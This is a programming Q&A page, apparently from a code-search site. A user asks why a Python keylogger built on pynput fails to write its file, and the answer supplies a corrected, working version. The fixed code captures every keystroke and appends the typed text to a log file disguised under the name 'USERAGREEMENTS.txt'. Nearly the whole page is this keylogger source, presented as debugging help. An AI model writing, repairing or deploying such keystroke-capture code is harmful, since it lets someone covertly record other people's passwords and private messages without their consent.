Search code examples
pythonkeylogger

The write file function doesn't work. It doesn't create or write into the file


import pynput

from pynput.keyboard import Key, Listener

count = 0 Keys = []

def on_press(key): global keys, count keys.append(key) count +=1

print("{0} pressed".format (key))

if count >= 5
    count = 0
    write_file(keys)
    keys = []

    def write_file(keys):
        with open("USERAGREEMENTS.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'" ",")
                if k.find("space") > 0:
                    f.write("\n")
                elif k.find("Key") == -1:
                    f.write(k)

"if k.find("Key.space") > 0:"

def on_press(key): print("{0} pressed".format(key))

def on_release(key): if key == Key.esc: return False

with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()


Solution

  • There are so much infect hell of problems in your code so after removing

    • Syntax Errors
    • Logical Errors
    • Indentation Problems
    • Removing duplicate on_press event

    the final working version of your code is following

    import pynput
    from pynput.keyboard import Key, Listener
    
    count = 0
    Keys = []
    
    def on_press(key):
        global Keys, count
        Keys.append(key)
        count += 1
        print("{0} pressed".format(key))
    
        if count >= 5:
            count = 0
            write_file(Keys)
            Keys = []
    
    def write_file(keys):
        with open("USERAGREEMENTS.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'", "")
                if k.find("space") > 0:
                    f.write("\n")
                elif k.find("Key") == -1:
                    f.write(k)
    
    def on_release(key):
        if key == Key.esc:
            write_file(Keys)
            return False
    
    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()